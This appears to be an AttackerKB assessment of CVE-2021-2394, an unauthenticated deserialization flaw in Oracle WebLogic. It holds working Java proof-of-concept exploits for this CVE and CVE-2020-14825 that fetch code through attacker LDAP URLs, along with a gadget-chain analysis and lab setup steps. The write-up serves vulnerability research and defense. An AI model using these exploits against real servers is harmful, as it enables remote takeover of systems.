High
CVE-2021-2394
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
High
(1 user assessed)Very High
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
Description
On July 20, 2021 Oracle released their quarterly security advisory which describes a remote execution vulnerability in multiple versions of WebLogic Server. The vulnerability is assigned CVE-2021-2394 and NIST assigned it a critical CVSSv3 rating of 9.8. The vulnerability is accessible through IIOP, a protocol that WebLogic exposes to the internet by default, on port 7001.
Affected Products
WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
Vulnerability Analysis
The vulnerability is the result of old ideas combined with new techniques . The first half of this vulnerability is similar to the exploitation path taken by CVE-2020-14825 (which is quite similar to it’s predecessor CVE-2020-14645). The second half of this vulnerability is similar to CVE-2020-14756. First, I’ll briefly outline the details of CVE-2020-14825 as many of the principles are the same
The PoC for CVE-2020-14825:
import com.sun.rowset.JdbcRowSetImpl; import com.tangosol.util.comparator.ExtractorComparator; import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor; import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor; import ysoserial.payloads.util.Reflections; import java.io.*; import java.util.PriorityQueue; public class CVE_2020_14825 { public static void main(String[] args) throws Exception { MethodAttributeAccessor accessor = new MethodAttributeAccessor(); accessor.setAttributeName("Timeline Sec"); accessor.setIsWriteOnly(true); accessor.setGetMethodName("getDatabaseMetaData"); // accessor.setGetMethodName("connect"); JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class); jdbcRowSet.setDataSourceName("ldap://192.168.247.128:1389/#Poc"); LockVersionExtractor extractor = new LockVersionExtractor(accessor,""); PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor)); Reflections.setFieldValue(queue,"size",2); Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue")); queueArray[0] = jdbcRowSet; ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser"))); out.writeObject(queue); out.flush(); out.close(); // readObject(); } public static void readObject() { FileInputStream fis = null; try { fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
CVE-2020-14825 was patched by adding oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor
and org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor
to DEFAULT_BLACKLIST_CLASSES
inside WebLogicFilterConfig.class
which prevents these classes from being used to execute malicious code. (Quick note on CVE-2020-14645 mentioned above, it used com.tangosol.util.extractor.UniversalExtractor
to execute code before that class was added to the blacklist in the same way LockVersionExtractor
was blacklisted when patching CVE-2020-14825).
PoC for CVE-2021-2394:
import com.sun.rowset.JdbcRowSetImpl; import com.tangosol.coherence.servlet.AttributeHolder; import com.tangosol.util.SortedBag; import com.tangosol.util.aggregator.TopNAggregator; import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor; import org.eclipse.persistence.exceptions.DescriptorException; import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor; import org.eclipse.persistence.mappings.AttributeAccessor; import javax.naming.Context; import javax.naming.InitialContext; import java.io.*; import java.lang.reflect.*; import java.util.Hashtable; public class CVE_2021_2394 { public static void main(String[] args) throws Exception { String ldapurl = null; String rhost = null; try { String ip = args[0]; String port = args[1]; ldapurl = args[2]; rhost = String.format("iiop://%s:%s", ip, port); } catch (Exception e) { System.out.println("请输入正确的格式:"); System.out.println("java -jar CVE_2021_2394.jar rhost rport ldapurl"); System.out.println("java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit"); System.exit(0); } try { System.out.println("[*] Attacking..."); MethodAttributeAccessor accessor = new MethodAttributeAccessor(); accessor.setAttributeName("Timeline Sec"); accessor.setGetMethodName("connect"); accessor.setSetMethodName("setConnection"); JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class); jdbcRowSet.setDataSourceName(ldapurl); FilterExtractor extractor = new FilterExtractor(accessor); FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor()); SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2); AttributeHolder attributeHolder = new AttributeHolder(); sortedBag.add(jdbcRowSet); Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(sortedBag, extractor); Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class); setInternalValue.setAccessible(true); setInternalValue.invoke(attributeHolder, sortedBag); // Test locally: // FileOutputStream fileOutputStream = new FileOutputStream(new File("test.ser")); // ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); // objectOutputStream.writeObject(attributeHolder); // // readObject(); Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", rhost); Context context = new InitialContext(env); context.rebind("Timeline Sec"+System.nanoTime(), attributeHolder); } catch (Exception e) { if (e.getMessage().equals("Unhandled exception in rebind()")){ System.out.println("[*] 发包成功 请自行检查是否利用成功"); }else { e.printStackTrace(); } } } public static class TLSAttributeAccessor extends AttributeAccessor { public Object getAttributeValueFromObject(Object o) throws DescriptorException { return this.attributeName; } public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException { this.attributeName = "Timeline Sec"; } } public static void readObject() { FileInputStream fis = null; try { fis = new FileInputStream(new File("").getAbsolutePath() + "/test.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
You’ll notice the two above PoCs are almost identical up until 14825 calls: LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");
which was blacklisted. Researchers were forced to find other means to execute code (note the game of cat and mouse/ blacklist and find another vulnerable class, played by Oracle and security researchers).
Enter FilterExtractor
which resides in oracle.eclipselink.coherence.integrated.internal.querying
and has the following method: readExternal
If we follow the readAttributeAccessor
method we see that when the parameter id = 1
, a MethodAttributeAccessor
object is returned. You may be thinking – but MethodAttributeAccessor
was just added to the blacklist in the October 2020 Critical Patch Update and couldn’t be used to maliciously execute code. You’re correct but when the MethodAttributeAccessor
object is returned by readAttributeAccessor
, it doesn’t go through the deserialization process, avoids being caught by the blacklist and thus can still be used in exploitation.
So MethodAttributeAccessor can still be used and gets assigned to this.attributeAccessor
once returned from readAttributeAccessor
. There’s no way found to bypass the blacklisting of LockVersionExtractor#Extract
in which the initializeAttributes
and getAttributeValueFromObject
methods of the accessor are called. However none was needed as FilterExtractor#extract
, shown below, effectively provides the same functionality:
Calling FilterExtractor#extract
will in turn invoke MethodAttributeAccessor#getAttributeValueFromObject
. This method gets reflected by the implementation of the getMethod
that gets passed anObject
and parameters
. Note anObject
is attacker controlled while parameters
will always be null which means only the no-argument method will be able to be called.
If you’re familiar with previous WebLogic serialization exploits you’ll know JdbcRowSetImpl
is a perfect candidate for an Object that will fit this use case while being able to be instantiated with a no-argument constructor.
Now all that needs to be done is to find a place to call FilterExtractor#readExternal
first and then FilterExtractor#extract
. This is where we can utilize ideas from CVE-2020-14756 in order to accomplish this.
Start off by using:
com.tangosol.util.aggregator.TopNAggregator$PartialResult#readExternal
The readExternal method does three things for us:
- It uses
ExternalizableHelper#readObject
to deserialize the comparator assignment tom_comparator
.
- Then creates a map with m_comparator via
PartialResult#instantiateInternalMap
- Then calls
PartialResult#add
to add the method to add the data to the map
If we follow the ExternalizableHelper#readObject
, knowing that DataInput
is not an instance of PInputStream
, we know readObjectInternal
gets called.
If the object implements the ExternalizableLite
interface, the readExternalizableLite
method will be called
Once called, it instantiates the object in the form of class loading and then calls the readExternal
of the obtained object as seen above.
If we look at PartialResult#instantiateInternalMap
we see users m_comparator
to instantiate a TreeMap
:
Now by following PartialResult#add
we see super.add
is called:
Which in this context is com.tangosol.util.SortedBag#add
. This method gets the TreeMap
that has just been instantiated and calls the put method to insert the data into the map:
TreeMap#put
gets called in the above which class this.comparator#compare
and finally AbstractExtractor#compare
which calls the this.comparator#extract
method:
And finally we see above that in the process of returning the SafeComparator, this.comparator#extract
is called on the attacker-controlled object, and boom goes the dynamite.
Running the PoC
1. Environment Setup
As noted by the PoC PR, you need to ensure you test with a JDK lower than: 6u211, 7u201, 8u191 or 11.0.1 as LDAP restrictions have been put in place in the aforementioned JDKs to prevent exploitation. I found this tool from the QAX-A-TEAM’s github repository helpful for building the test environment. The tool allows you to build a specific version of weblogic with a specific JDK in a single command.
- With Oracle credentials, download Oracle WebLogic Server 12.2.1.3 – Generic
- Unzip the file downloaded and place
fmw_12.2.1.3.0_wls.jar
inside WeblogicEnvironment/weblogics
- Again with Oracle credentials download jdk-8u121-linux-x64.tar.gz
- Place the zipped file downloaded in WeblogicEnvironments/jdks
- Build the image:
”`
docker build —no-cache —progress=plain —build-arg JDK_PKG=jdk-8u121-linux-x64.tar.gz —build-arg WEBLOGIC_JAR=fmw_12.2.1.3.0_wls.jar -t weblogic_12 .
- Run the container:
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 —name weblogic_12 weblogic_12
### 2. Enable local exploitation The following article describes the [network issues faced](https://xz.aliyun.com/t/7498) when attempting to run the PoC in a virtualized 10.3.6.0 environment: >8.5. Summary of the problem When requesting NameService from Weblogic through the IIOP protocol, Weblogic directly uses the local ip address as the bind address to construct the address information reply, the client resolves the address information, and directly accesses the address when bind, but the bind fails due to the inability to access the real intranet address . The PoC is written for 12.2.1.3.0 so rewriting the processing logic is slightly different though the principle is the same. WebLogic’s package structure in 12.x is much different than in 10.x. The tutorial above instructs to hard code the attacking IP in `wlfullclient.jar!\weblogic\iiop\IOPProfile.class`, although you may notice that class/ parent jar is non-existent in 12.2.1.3.0. If you run the PoC without making any changes to WebLogic you should see the following stack trace: ![stacktrace_IORManager](https://user-images.githubusercontent.com/23320005/140426002-43a52b65-1467-45f3-8c7a-069fcd4e0a46.png) From which we deduce the issue likely resides in: `weblogic.iiop.IORManager.locateNameService(IORManager.java:119) ` based on the problem summary above. I found [Recaf](https://github.com/Col-E/Recaf) useful for editing the compiled java code above. Either download and compile from source or download one of the releases. Note it mentions if you run Recaf with java 8 there are a number of prerequisites that must be satisfied in order for it to run smoothly. To avoid this warning you can download the latest java 11 and run with it: - Copy the jar that IORManager.class resides in from the container to the host: ```docker cp weblogic_12:/u01/app/oracle/middleware/wlserver/modules/com.oracle.weblogic.iiop.jar ./``` - Start recaf with java 11:
/home/msfuser/jdk-11.0.13/bin/java -jar recaf-2.21.3-J8-jar-with-dependencies.jar”`
- Locate and open IORManager.class in
classes/weblogic/iiop/IORManager.class
and open it by double clicking:
The highlighted line above is where weblogic gets the incorrect host address due to containerization and is the line that will need to be edited.
- Right click method name
createInitialReference
and selectEdit with assembler
. Scroll down to where the parameters that are passed to IORManger.create start getting pushed onto the stack
- Make the following changes in order to hardcode the IP address of the attacking machine:
- Copy the edited jar back to the container:
docker cp com.oracle.weblogic.iiop.jar weblogic_12:/u01/app/oracle/middleware/wlserver/modules/com.oracle.weblogic.iiop.jar
3. Setup LDAP server
For the LDAP server used for JNDI injection, the following github repository is quite useful. Build from source or download the release. Run the following command to start the server. Note the JDK 1.8 LDAP URL, as it needs to be passed to the exploit.
4. Run the PoC
Download the PoC and run the following command:
Note we no longer get the stack trace, instead non-English characters that Google translate’s to:
“The package is successfully issued, please check whether the use is successful”
Check the container’s tmp folder:
Note that the payload was successfully delivered.
References
Vuln Analysis
https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
https://mp.weixin.qq.com/s/AxJJxbkclr4ijXX8lpNAfw
https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE_2020_14645.java
https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE_2020_14825.java
https://github.com/Y4er/CVE-2020-14756/blob/main/CVE_2020_14756.java
https://github.com/lz2y/CVE-2021-2394/blob/main/CVE_2021_2394.java
PoC Testing
https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://xz.aliyun.com/t/7498
https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- oracle
Products
- weblogic server 10.3.6.0.0,
- weblogic server 12.1.3.0.0,
- weblogic server 12.2.1.3.0,
- weblogic server 12.2.1.4.0,
- weblogic server 14.1.1.0.0
References
Miscellaneous
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: